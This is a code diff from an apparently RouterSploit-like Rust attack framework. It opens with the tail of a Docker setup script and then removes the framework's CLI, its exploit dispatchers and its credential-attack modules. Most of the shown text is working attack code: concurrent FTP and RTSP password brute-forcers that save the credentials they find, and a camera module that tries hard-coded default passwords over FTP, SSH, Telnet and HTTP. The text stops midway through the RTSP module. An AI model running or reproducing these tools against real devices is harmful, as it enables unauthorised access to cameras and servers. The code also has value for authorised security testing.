+    # ensure data dir exists and is owned by rustsploit so that non-root process can write
+    echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
+    echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
+    echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
+    echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
+    echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
+    echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
+    echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
+    # finally, execute rustsploit as the rustsploit user using runuser
+    echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
+    chmod +x /entrypoint.sh && \\
+    chown root:root /entrypoint.sh && \\
+    chown root:root /usr/local/bin/rustsploit
+
+# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
+EXPOSE 8080
+ENTRYPOINT ["/entrypoint.sh"]
+"""
+
+# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
+dockerfile_path = repo / "Dockerfile.rustsploit"
+dockerfile_path.write_text(dockerfile_content)
+print(f"[+] Generated: {dockerfile_path}")
+
+# Generate docker-compose.yml
+compose_content = f"""# Generated by {Path(__file__).name}
+services:
+  rustsploit-api:
+    container_name: rustsploit-api
+    build:
+      context: .
+      dockerfile: Dockerfile.rustsploit
+      target: serve
+    restart: unless-stopped
+    env_file:
+      - {env_file}
+    ports:
+      - "{host}:{port}:{port}"
+    security_opt:
+      - no-new-privileges:true
+    tmpfs:
+      - /tmp
+    volumes:
+      - rustsploit-data:/app/data
+
+volumes:
+  rustsploit-data:
+    name: rustsploit-data
+"""
+
+compose_path.write_text(compose_content)
+print(f"[+] Generated: {compose_path}")
+
+print("\n[+] Setup complete!")
+print("\n[+] Generated files:")
+print(f"    - {env_path.relative_to(repo)}")
+print(f"    - {compose_path.relative_to(repo)}")
+print(f"    - {dockerfile_path.relative_to(repo)}")
+print(f"\n[!] Note: Run docker compose commands from the repository root:")
+print(f"    cd {repo}")
+print("\n[+] To start the stack, run:")
+print(f"    cd {repo} && docker compose -f {compose_file} up -d --build")
+print(f"    # OR from any directory:")
+print(f"    docker compose -f {compose_path} up -d --build")
+print("\n[+] To view logs:")
+print(f"    cd {repo} && docker compose -f {compose_file} logs -f")
+print(f"    # OR from any directory:")
+print(f"    docker compose -f {compose_path} logs -f")
+print("\n[+] To stop the stack:")
+print(f"    cd {repo} && docker compose -f {compose_file} down")
+print(f"    # OR from any directory:")
+print(f"    docker compose -f {compose_path} down")

src/cli.rs

@@ -1,22 +0,0 @@
-use clap::{ArgGroup, Parser};
-
-/// Simple RouterSploit-like CLI in Rust
-#[derive(Parser, Debug)]
-#[command(author, version, about, long_about = None)]
-#[clap(group(
-    ArgGroup::new("mode")
-        .required(false)
-        .args(&["command"])
-))]
-pub struct Cli {
-    /// Subcommand to run (e.g. "exploit", "scanner", "creds")
-    pub command: Option<String>,
-
-    /// Target IP or hostname
-    #[arg(short, long)]
-    pub target: Option<String>,
-
-    /// Module name to use
-    #[arg(short, long)]
-    pub module: Option<String>,
-}

src/commands/creds.rs

@@ -1,31 +0,0 @@
-use anyhow::{Result, bail};
-
-// Import all available credential modules
-use crate::modules::creds::{
-    generic::{
-        ftp_anonymous,
-        ftp_bruteforce,
-        sample_cred_check,
-        telnet_bruteforce,
-        ssh_bruteforce,
-        rtsp_bruteforce_advanced,
-    },
-    camera::acti::acti_camera_default,
-};
-
-/// Dispatch function for credential modules
-pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
-    match module_name {
-        "generic/sample_cred_check"        => sample_cred_check::run(target).await?,
-        "generic/ftp_bruteforce"           => ftp_bruteforce::run(target).await?,
-        "generic/ftp_anonymous"            => ftp_anonymous::run(target).await?,
-        "generic/telnet_bruteforce"        => telnet_bruteforce::run(target).await?,
-        "generic/ssh_bruteforce"           => ssh_bruteforce::run(target).await?,
-        "generic/rtsp_bruteforce_advanced" => rtsp_bruteforce_advanced::run(target).await?,
-        "camera/acti/acti_camera_default"  => acti_camera_default::run(target).await?,
-
-        _ => bail!("Creds module '{}' not found.", module_name),
-    }
-
-    Ok(())
-}

src/commands/exploit.rs

@@ -1,42 +0,0 @@
-use anyhow::{Result, bail};
-
-use crate::modules::exploits::{
-    self,
-    payloadgens,
-    generic,
-    camera,
-};
-
-pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
-    match module_name {
-        // ───────────── standard exploits ─────────────
-        "sample_exploit" |
-        "exploits/sample_exploit" => {
-            exploits::sample_exploit::run(target).await?
-        }
-
-        // ───────── payload generators (nested) ───────
-        "payloadgenbat" |
-        "payloadgens/payloadgenbat" |
-        "exploits/payloadgens/payloadgenbat" => {
-            payloadgens::payloadgenbat::run(target).await?
-        }
-
-        // ──────────────── generic exploits ────────────────
-        "generic/heartbleed" |
-        "exploits/generic/heartbleed" => {
-            generic::heartbleed::run(target, 443).await?
-        }
-
-                // ──────────────── camera exploits ────────────────
-        "camera/uniview_nvr_pwd_disclosure" |
-        "exploits/camera/uniview_nvr_pwd_disclosure" => {
-            camera::uniview_nvr_pwd_disclosure::run(target).await?
-        }
-
-
-        _ => bail!("Exploit module '{}' not found.", module_name),
-    }
-
-    Ok(())
-}

src/commands/mod.rs

@@ -1,96 +0,0 @@
-pub mod exploit;
-pub mod scanner;
-pub mod creds;
-
-use anyhow::Result;
-use crate::cli::Cli;
-use walkdir::WalkDir;
-
-/// Handle CLI commands like: --command exploit --module creds/generic/ftp_anonymous --target x.x.x.x
-pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
-    let target = cli_args.target.clone().unwrap_or_default();
-    let module = cli_args.module.clone().unwrap_or_default();
-
-    match command {
-        "exploit" => {
-            let trimmed = module.trim_start_matches("exploits/"); // normalize
-            exploit::run_exploit(trimmed, &target).await?;
-        },
-        "scanner" => {
-            let trimmed = module.trim_start_matches("scanners/");
-            scanner::run_scan(trimmed, &target).await?;
-        },
-        "creds" => {
-            let trimmed = module.trim_start_matches("creds/");
-            creds::run_cred_check(trimmed, &target).await?;
-        },
-        _ => {
-            eprintln!("Unknown command '{}'", command);
-        }
-    }
-
-    Ok(())
-}
-
-/// Called from the interactive shell (e.g. 'use creds/generic/ftp_anonymous' + 'run')
-pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
-    let available = discover_modules();
-
-    if !available.contains(&module_path.to_string()) {
-        eprintln!("Unknown module '{}'. Available modules:", module_path);
-        for module in available {
-            println!("  {}", module);
-        }
-        return Ok(());
-    }
-
-    // Split path like "creds/generic/ftp_anonymous" -> ("creds", "generic/ftp_anonymous")
-    let mut parts = module_path.splitn(2, '/');
-    let category = parts.next().unwrap_or("");
-    let module_name = parts.next().unwrap_or("");
-
-    match category {
-        "exploits" => {
-            exploit::run_exploit(module_name, target).await?;
-        },
-        "scanners" => {
-            scanner::run_scan(module_name, target).await?;
-        },
-        "creds" => {
-            creds::run_cred_check(module_name, target).await?;
-        },
-        _ => {
-            eprintln!("Category '{}' is not supported.", category);
-        }
-    }
-
-    Ok(())
-}
-
-/// Discover modules in src/modules/{exploits,scanners,creds} recursively up to 6 levels deep
-pub fn discover_modules() -> Vec<String> {
-    let mut modules = Vec::new();
-
-    let categories = ["exploits", "scanners", "creds"];
-
-    for category in categories {
-        let base_path = format!("src/modules/{}", category);
-        let walker = WalkDir::new(&base_path).max_depth(6);
-
-        for entry in walker.into_iter().filter_map(|e| e.ok()) {
-            let path = entry.path();
-
-            if path.is_file() && path.extension().map(|e| e == "rs").unwrap_or(false) {
-                if let Ok(relative) = path.strip_prefix("src/modules") {
-                    let module_path = relative
-                        .with_extension("") // remove .rs
-                        .to_string_lossy()
-                        .replace("\\", "/"); // Windows compatibility
-                    modules.push(module_path);
-                }
-            }
-        }
-    }
-
-    modules
-}

src/commands/scanner.rs

@@ -1,13 +0,0 @@
-use anyhow::Result;
-use crate::modules::scanners;
-
-pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
-    match module_name {
-        "sample_scanner" => scanners::sample_scanner::run(target).await?,
-        "ssdp_msearch" => scanners::ssdp_msearch::run(target).await?,
-        "port_scanner" => scanners::port_scanner::run_interactive(target).await?, // ✅ interactive mode
-        _ => eprintln!("Scanner module '{}' not found.", module_name),
-    }
-
-    Ok(())
-}

src/main.rs

@@ -1,25 +0,0 @@
-use anyhow::Result;
-use clap::Parser;
-
-mod cli;
-mod shell;
-mod commands;
-mod modules;
-mod utils;
-
-#[tokio::main]
-async fn main() -> Result<()> {
-    // Parse command-line arguments
-    let cli_args = cli::Cli::parse();
-
-    // If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
-    if let Some(cmd) = &cli_args.command {
-        commands::handle_command(cmd, &cli_args).await?;
-    }
-    // Otherwise, launch the interactive shell
-    else {
-        shell::interactive_shell().await?;
-    }
-
-    Ok(())
-}

src/modules/creds/camera/acti/acti_camera_default.rs

@@ -1,203 +0,0 @@
-use anyhow::{Context, Result};
-use async_ftp::FtpStream;
-use reqwest::Client;
-use ssh2::Session;
-use telnet::{Telnet, Event};
-use std::{net::TcpStream, time::Duration};
-use tokio::{join, task};
-
-#[allow(dead_code)]
-/// Supported Acti services
-pub enum ServiceType {
-    Ftp,
-    Ssh,
-    Telnet,
-    Http,
-}
-
-/// Common config
-#[derive(Clone)]
-pub struct Config {
-    pub target: String,
-    pub port: u16,
-    pub credentials: Vec<(&'static str, &'static str)>,
-    pub stop_on_success: bool,
-    pub verbosity: bool,
-}
-
-/// FTP check (async)
-pub async fn check_ftp(config: &Config) -> Result<()> {
-    println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
-
-    for (username, password) in &config.credentials {
-        if config.verbosity {
-            println!("[*] Trying FTP: {}:{}", username, password);
-        }
-
-        let address = format!("{}:{}", config.target, config.port);
-        match FtpStream::connect(address).await {
-            Ok(mut ftp) => {
-                if ftp.login(username, password).await.is_ok() {
-                    println!("[+] FTP credentials valid: {}:{}", username, password);
-                    if config.stop_on_success {
-                        return Ok(());
-                    }
-                }
-                let _ = ftp.quit().await;
-            }
-            Err(_) => continue,
-        }
-    }
-
-    println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
-    Ok(())
-}
-
-/// SSH check (blocking, so we use spawn_blocking in our run function)
-pub fn check_ssh_blocking(config: &Config) -> Result<()> {
-    println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
-
-    for (username, password) in &config.credentials {
-        if config.verbosity {
-            println!("[*] Trying SSH: {}:{}", username, password);
-        }
-
-        let address = format!("{}:{}", config.target, config.port);
-        if let Ok(stream) = TcpStream::connect(address) {
-            let mut session = Session::new().context("Failed to create SSH session")?;
-            session.set_tcp_stream(stream);
-            session.handshake().context("SSH handshake failed")?;
-
-            if session.userauth_password(username, password).is_ok() && session.authenticated() {
-                println!("[+] SSH credentials valid: {}:{}", username, password);
-                if config.stop_on_success {
-                    return Ok(());
-                }
-            }
-        }
-    }
-
-    println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
-    Ok(())
-}
-
-/// Telnet check (blocking, so we use spawn_blocking in our run function)
-pub fn check_telnet_blocking(config: &Config) -> Result<()> {
-    println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
-
-    for (username, password) in &config.credentials {
-        if config.verbosity {
-            println!("[*] Trying Telnet: {}:{}", username, password);
-        }
-
-        if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
-            let _ = telnet.write(format!("{}\r\n", username).as_bytes());
-            let _ = telnet.write(format!("{}\r\n", password).as_bytes());
-
-            // Give device time to respond
-            std::thread::sleep(Duration::from_millis(500));
-
-            if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
-                let response = String::from_utf8_lossy(&buffer);
-                if !response.contains("incorrect") && !response.contains("failed") {
-                    println!("[+] Telnet credentials valid: {}:{}", username, password);
-                    if config.stop_on_success {
-                        return Ok(());
-                    }
-                }
-            }
-        }
-    }
-
-    println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
-    Ok(())
-}
-
-/// HTTP Web Login check (async)
-pub async fn check_http_form(config: &Config) -> Result<()> {
-    println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
-
-    let client = Client::builder()
-        .danger_accept_invalid_certs(true)
-        .timeout(Duration::from_secs(5))
-        .build()?;
-
-    let url = format!("http://{}:{}/video.htm", config.target, config.port);
-
-    for (username, password) in &config.credentials {
-        if config.verbosity {
-            println!("[*] Trying HTTP: {}:{}", username, password);
-        }
-
-        let data = [
-            ("LOGIN_ACCOUNT", *username),
-            ("LOGIN_PASSWORD", *password),
-            ("LANGUAGE", "0"),
-            ("btnSubmit", "Login"),
-        ];
-
-        let res = client
-            .post(&url)
-            .form(&data)
-            .send()
-            .await
-            .context("[!] Failed to send HTTP form request")?;
-
-        let body = res.text().await.unwrap_or_default();
-
-        if !body.contains(">Password<") {
-            println!("[+] HTTP credentials valid: {}:{}", username, password);
-            if config.stop_on_success {
-                return Ok(());
-            }
-        }
-    }
-
-    println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
-    Ok(())
-}
-
-/// Entrypoint for module - parallel checks
-pub async fn run(target: &str) -> Result<()> {
-    let creds = vec![
-        ("admin", "12345"),
-        ("admin", "123456"),
-        ("Admin", "12345"),
-        ("Admin", "123456"),
-    ];
-
-    let base_config = Config {
-        target: target.to_string(),
-        port: 0,
-        credentials: creds,
-        stop_on_success: true,
-        verbosity: true,
-    };
-
-    let ftp_conf    = Config { port: 21, ..base_config.clone() };
-    let ssh_conf    = Config { port: 22, ..base_config.clone() };
-    let telnet_conf = Config { port: 23, ..base_config.clone() };
-    let http_conf   = Config { port: 80, ..base_config.clone() };
-
-    // Start all checks in parallel
-    let (ftp_res, ssh_res, telnet_res, http_res) = join!(
-        check_ftp(&ftp_conf),
-        async {
-            // run blocking ssh check in separate thread
-            task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
-        },
-        async {
-            // run blocking telnet check in separate thread
-            task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
-        },
-        check_http_form(&http_conf),
-    );
-
-    // Evaluate results
-    ftp_res?;
-    ssh_res?;
-    telnet_res?;
-    http_res?;
-
-    Ok(())
-}

src/modules/creds/camera/acti/mod.rs

@@ -1 +0,0 @@
-pub mod acti_camera_default;

src/modules/creds/camera/mod.rs

@@ -1 +0,0 @@
-pub mod acti;

src/modules/creds/generic/ftp_anonymous.rs

@@ -1,64 +0,0 @@
-use anyhow::{Context, Result};
-use std::net::TcpStream;
-use std::io::{BufRead, BufReader, Write};
-use std::time::Duration;
-
-/// Checks if anonymous FTP login is allowed on a target.
-///
-/// Example usage from shell:
-/// ```
-/// rsf> use creds/ftp_anonymous
-/// rsf> set target 192.168.1.1
-/// rsf> run
-/// ```
-pub async fn run(target: &str) -> Result<()> {
-    let port = 21;
-    let address = format!("{}:{}", target, port);
-
-    println!("[*] Connecting to FTP service on {}...", address);
-
-    // Connect with a short timeout
-    let stream = TcpStream::connect_timeout(
-        &address.parse().context("Invalid address")?,
-        Duration::from_secs(5),
-    )
-    .context("Connection failed")?;
-
-    // Clone reader/writer
-    let mut reader = BufReader::new(stream.try_clone()?);
-    let mut writer = stream;
-
-    // Read initial banner
-    let mut banner = String::new();
-    reader.read_line(&mut banner)?;
-    print!("[<] {}", banner);
-
-    // Send USER anonymous
-    writer.write_all(b"USER anonymous\r\n")?;
-    writer.flush()?;
-
-    let mut response = String::new();
-    reader.read_line(&mut response)?;
-    print!("[<] {}", response);
-
-    if !response.starts_with("3") && !response.contains("password") {
-        println!("[-] Server does not accept 'anonymous' user.");
-        return Ok(());
-    }
-
-    // Send PASS anything (or empty)
-    writer.write_all(b"PASS anonymous\r\n")?;
-    writer.flush()?;
-
-    response.clear();
-    reader.read_line(&mut response)?;
-    print!("[<] {}", response);
-
-    if response.starts_with("2") {
-        println!("[+] Anonymous login successful!");
-    } else {
-        println!("[-] Anonymous login failed.");
-    }
-
-    Ok(())
-}

src/modules/creds/generic/ftp_bruteforce.rs

@@ -1,235 +0,0 @@
-use anyhow::{anyhow, Result};
-use async_ftp::FtpStream;
-use std::{
-    fs::File,
-    io::{BufRead, BufReader, Write},
-    path::{Path, PathBuf},
-    sync::Arc,
-};
-use tokio::{
-    sync::Mutex,
-    time::{sleep, Duration},
-};
-
-pub async fn run(target: &str) -> Result<()> {
-    println!("=== FTP Brute Force Module ===");
-    println!("[*] Target: {}", target);
-
-    let port: u16 = loop {
-        let input = prompt_default("FTP Port", "21")?;
-        match input.parse() {
-            Ok(p) => break p,
-            Err(_) => println!("Invalid port. Try again."),
-        }
-    };
-
-    let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
-    let passwords_file = prompt_required("Password wordlist")?;
-
-    let concurrency: usize = loop {
-        let input = prompt_default("Max concurrent tasks", "10")?;
-        match input.parse() {
-            Ok(n) if n > 0 => break n,
-            _ => println!("Invalid number. Try again."),
-        }
-    };
-
-    let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
-    let save_results = prompt_yes_no("Save results to file?", true)?;
-    let save_path = if save_results {
-        Some(prompt_default("Output file", "ftp_results.txt")?)
-    } else {
-        None
-    };
-    let verbose = prompt_yes_no("Verbose mode?", false)?;
-    let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
-
-    let addr = format!("{}:{}", target, port);
-    let found = Arc::new(Mutex::new(Vec::new()));
-    let stop = Arc::new(Mutex::new(false));
-
-    println!("\n[*] Starting brute-force on {}", addr);
-
-    let users = load_lines(&usernames_file)?;
-    let pass_file = File::open(&passwords_file)?;
-    let pass_buf = BufReader::new(pass_file);
-
-    let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
-    let _pass_len = pass_lines.len();
-
-
-    let mut idx = 0;
-    for pass in pass_lines {
-        if *stop.lock().await {
-            break;
-        }
-
-        let userlist = if combo_mode {
-            users.clone()
-        } else {
-            // Pair same line index if available
-            vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
-        };
-
-        let mut handles = vec![];
-
-        for user in userlist {
-            let addr = addr.clone();
-            let user = user.clone();
-            let pass = pass.clone();
-            let found = Arc::clone(&found);
-            let stop = Arc::clone(&stop);
-
-            let handle = tokio::spawn(async move {
-                if *stop.lock().await {
-                    return;
-                }
-
-                match try_ftp_login(&addr, &user, &pass).await {
-                    Ok(true) => {
-                        println!("[+] {} -> {}:{}", addr, user, pass);
-                        found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
-                        if stop_on_success {
-                            *stop.lock().await = true;
-                        }
-                    }
-                    Ok(false) => {
-                        log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
-                    }
-                    Err(e) => {
-                        log(verbose, &format!("[!] {}: error: {}", addr, e));
-                    }
-                }
-
-                sleep(Duration::from_millis(10)).await;
-            });
-
-            handles.push(handle);
-
-            if handles.len() >= concurrency {
-                for h in handles.drain(..) {
-                    let _ = h.await;
-                }
-            }
-        }
-
-        for h in handles {
-            let _ = h.await;
-        }
-
-        idx += 1;
-    }
-
-    let creds = found.lock().await;
-    if creds.is_empty() {
-        println!("\n[-] No credentials found.");
-    } else {
-        println!("\n[+] Valid credentials:");
-        for (host, user, pass) in creds.iter() {
-            println!("    {} -> {}:{}", host, user, pass);
-        }
-
-        if let Some(path) = save_path {
-            let filename = get_filename_in_current_dir(&path);
-            let mut file = File::create(&filename)?;
-            for (host, user, pass) in creds.iter() {
-                writeln!(file, "{} -> {}:{}", host, user, pass)?;
-            }
-            println!("[+] Results saved to '{}'", filename.display());
-        }
-    }
-
-    Ok(())
-}
-
-async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
-    match FtpStream::connect(addr).await {
-        Ok(mut stream) => match stream.login(user, pass).await {
-            Ok(_) => {
-                let _ = stream.quit().await;
-                Ok(true)
-            }
-            Err(e) => {
-                if e.to_string().contains("530") {
-                    Ok(false)
-                } else {
-                    Err(anyhow!("FTP error: {}", e))
-                }
-            }
-        },
-        Err(e) => Err(anyhow!("Connection error: {}", e)),
-    }
-}
-
-fn prompt_required(msg: &str) -> Result<String> {
-    loop {
-        print!("{}: ", msg);
-        std::io::Write::flush(&mut std::io::stdout())?;
-        let mut s = String::new();
-        std::io::stdin().read_line(&mut s)?;
-        let trimmed = s.trim();
-        if !trimmed.is_empty() {
-            return Ok(trimmed.to_string());
-        } else {
-            println!("This field is required.");
-        }
-    }
-}
-
-fn prompt_default(msg: &str, default: &str) -> Result<String> {
-    print!("{} [{}]: ", msg, default);
-    std::io::Write::flush(&mut std::io::stdout())?;
-    let mut s = String::new();
-    std::io::stdin().read_line(&mut s)?;
-    let trimmed = s.trim();
-    Ok(if trimmed.is_empty() {
-        default.to_string()
-    } else {
-        trimmed.to_string()
-    })
-}
-
-fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
-    let default = if default_yes { "y" } else { "n" };
-    loop {
-        print!("{} (y/n) [{}]: ", msg, default);
-        std::io::Write::flush(&mut std::io::stdout())?;
-        let mut s = String::new();
-        std::io::stdin().read_line(&mut s)?;
-        let input = s.trim().to_lowercase();
-        if input.is_empty() {
-            return Ok(default_yes);
-        } else if input == "y" || input == "yes" {
-            return Ok(true);
-        } else if input == "n" || input == "no" {
-            return Ok(false);
-        } else {
-            println!("Invalid input. Please enter 'y' or 'n'.");
-        }
-    }
-}
-
-fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
-    let file = File::open(path)?;
-    let reader = BufReader::new(file);
-    Ok(reader
-        .lines()
-        .filter_map(Result::ok)
-        .filter(|l| !l.trim().is_empty())
-        .collect())
-}
-
-fn log(verbose: bool, msg: &str) {
-    if verbose {
-        println!("{}", msg);
-    }
-}
-
-fn get_filename_in_current_dir(input: &str) -> PathBuf {
-    let name = Path::new(input)
-        .file_name()
-        .unwrap_or_default()
-        .to_string_lossy()
-        .to_string();
-    PathBuf::from(format!("./{}", name))
-}

src/modules/creds/generic/mod.rs

@@ -1,7 +0,0 @@
-
-    pub mod sample_cred_check;
-    pub mod ftp_bruteforce;
-    pub mod ftp_anonymous;
-    pub mod telnet_bruteforce;
-    pub mod ssh_bruteforce;
-    pub mod rtsp_bruteforce_advanced;

src/modules/creds/generic/rtsp_bruteforce_advanced.rs

@@ -1,371 +0,0 @@
-use anyhow::{anyhow, Result};
-use base64::Engine as _;
-use base64::engine::general_purpose::STANDARD as Base64;
-use std::{
-    fs::File,
-    io::{BufRead, BufReader, Write},
-    net::SocketAddr,
-    path::{Path, PathBuf},
-    sync::Arc,
-};
-use tokio::{
-    io::{AsyncReadExt, AsyncWriteExt},
-    net::TcpStream,
-    sync::Mutex,
-    time::{sleep, Duration},
-};
-
-/// Main entry point for the advanced RTSP brute force module.
-pub async fn run(target: &str) -> Result<()> {
-    println!("=== Advanced RTSP Brute Force Module ===");
-    println!("[*] Target: {}", target);
-
-    //------------------------------
-    // 1) Basic Brute Force Settings
-    //------------------------------
-    let port: u16 = loop {
-        let input = prompt_default("RTSP Port", "554")?;
-        match input.parse() {
-            Ok(p) => break p,
-            Err(_) => println!("Invalid port. Try again."),
-        }
-    };
-
-    let usernames_file = prompt_required("Username wordlist")?;
-    let passwords_file = prompt_required("Password wordlist")?;
-
-    let concurrency: usize = loop {
-        let input = prompt_default("Max concurrent tasks", "10")?;
-        match input.parse() {
-            Ok(n) if n > 0 => break n,
-            _ => println!("Invalid number. Try again."),
-        }
-    };
-
-    let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
-    let save_results = prompt_yes_no("Save results to file?", true)?;
-    let save_path = if save_results {
-        Some(prompt_default("Output file", "rtsp_results.txt")?)
-    } else {
-        None
-    };
-    let verbose = prompt_yes_no("Verbose mode?", false)?;
-    let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
-
-    //------------------------------
-    // 2) Advanced Features
-    //------------------------------
-    let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
-    let mut advanced_headers: Vec<String> = Vec::new();
-    let advanced_command = if advanced_mode {
-        // By default, we'll demonstrate a DESCRIBE method.
-        // You could prompt for multiple commands, but here's one for simplicity.
-        let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
-        // Prompt for custom headers file
-        let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
-        if headers_file {
-            let headers_path = prompt_required("Path to RTSP headers file")?;
-            advanced_headers = load_lines(&headers_path)?;
-        }
-        Some(method)
-    } else {
-        None
-    };
-
-    //------------------------------
-    // 3) Brute Force RTSP Paths
-    //------------------------------
-    let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
-    let paths = if brute_force_paths {
-        let paths_file = prompt_required("Path to RTSP paths file")?;
-        load_lines(&paths_file)?
-    } else {
-        // If not brute forcing paths, we just do an empty vector or single slash
-        vec!["".to_string()]  // We'll interpret "" as no path specified
-    };
-
-    //------------------------------
-    // 4) Begin Brute Force
-    //------------------------------
-    let addr = format!("{}:{}", target, port);
-    let found = Arc::new(Mutex::new(Vec::new()));
-    let stop = Arc::new(Mutex::new(false));
-
-    println!("\n[*] Starting brute-force on {}", addr);
-
-    // Load user list
-    let users = load_lines(&usernames_file)?;
-
-    // Load password list
-    let pass_file = File::open(&passwords_file)?;
-    let pass_buf = BufReader::new(pass_file);
-    let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
-
-    let mut idx = 0;
-    // For each password
-    for pass in pass_lines {
-        // If we've already found valid creds and we're stopping on success, break early
-        if *stop.lock().await {
-            break;
-        }
-
-        // If combo_mode is true, each password tries all users.
-        // Otherwise, line up each user with the “idx” (like a parallel dictionary).
-        let userlist = if combo_mode {
-            users.clone()
-        } else {
-            // Use user at "idx % users.len()" if we’re not in combo_mode
-            vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
-        };
-
-        // We batch tasks up to "concurrency"
-        let mut handles = vec![];
-
-        // For each username
-        for user in userlist {
-            // For each path
-            for path in &paths {
-                if *stop.lock().await {
-                    break;
-                }
-
-                // Clone references for the task
-                let addr = addr.clone();
-                let user = user.clone();
-                let pass = pass.clone();
-                let path = path.clone();
-                let found = Arc::clone(&found);
-                let stop = Arc::clone(&stop);
-
-                // The advanced method & headers
-                let command = advanced_command.clone();
-                let headers = advanced_headers.clone();
-
-                let handle = tokio::spawn(async move {
-                    // Check again if we've been signaled to stop
-                    if *stop.lock().await {
-                        return;
-                    }
-
-                    match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
-                        Ok(true) => {
-                            let path_str = if path.is_empty() { "NO_PATH" } else { &path };
-                            println!("[+] {} -> {}:{} [path={}]",
-                                addr, user, pass, path_str);
-                            found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
-
-                            if stop_on_success {
-                                *stop.lock().await = true;
-                            }
-                        }
-                        Ok(false) => {
-                            log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
-                        }
-                        Err(e) => {
-                            log(verbose, &format!("[!] {} -> error: {}", addr, e));
-                        }
-                    }
-
-                    // A short delay between attempts
-                    sleep(Duration::from_millis(10)).await;
-                });
-
-                handles.push(handle);
-
-                // If we reach concurrency, wait for them to finish before scheduling more
-                if handles.len() >= concurrency {
-                    for h in handles.drain(..) {
-                        let _ = h.await;
-                    }
-                }
-            }
-        }
-
-        // Wait for any leftover tasks in the batch
-        for h in handles {
-            let _ = h.await;
-        }
-
-        idx += 1;
-    }
-
-    //------------------------------
-    // 5) Show Results / Save
-    //------------------------------
-    let creds = found.lock().await;
-    if creds.is_empty() {
-        println!("\n[-] No credentials found (with these paths).");
-    } else {
-        println!("\n[+] Valid credentials (and paths):");
-        for (host, user, pass, path) in creds.iter() {
-            println!("    {} -> {}:{} [path={}]", host, user, pass, path);
-        }
-
-        if let Some(path) = save_path {
-            let filename = get_filename_in_current_dir(&path);
-            let mut file = File::create(&filename)?;
-            for (host, user, pass, path) in creds.iter() {
-                writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
-            }
-            println!("[+] Results saved to '{}'", filename.display());
-        }
-    }
-
-    Ok(())
-}
-
-/// Attempt to authenticate via RTSP (with optional advanced method + headers).
-/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we can’t connect/parse response.
-async fn try_rtsp_login(
-    addr: &str,
-    user: &str,
-    pass: &str,
-    path: &str,
-    method: Option<&str>,
-    extra_headers: &[String],
-) -> Result<bool> {
-    // Parse the address to confirm it's valid
-    let socket_addr: SocketAddr = addr.parse()
-        .map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
-
-    // Open TCP connection to camera
-    let mut stream = TcpStream::connect(socket_addr)
-        .await
-        .map_err(|e| anyhow!("Connection error: {}", e))?;
-
-    // If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
-    // Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
-    let rtsp_method = method.unwrap_or("OPTIONS");
-
-    // Build path portion (some cameras expect the path in the request line).
-    // If path is empty, we skip it. Or default to / if you want.
-    let path_str = if path.is_empty() {
-        ""  // or "/"
-    } else {
-        path
-    };
-
-    // Build Basic Auth
-    let credentials = Base64.encode(format!("{}:{}", user, pass));
-
-    // Build the RTSP request line
-    let mut request = format!(
-        "{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
-        method = rtsp_method,
-        addr = addr,
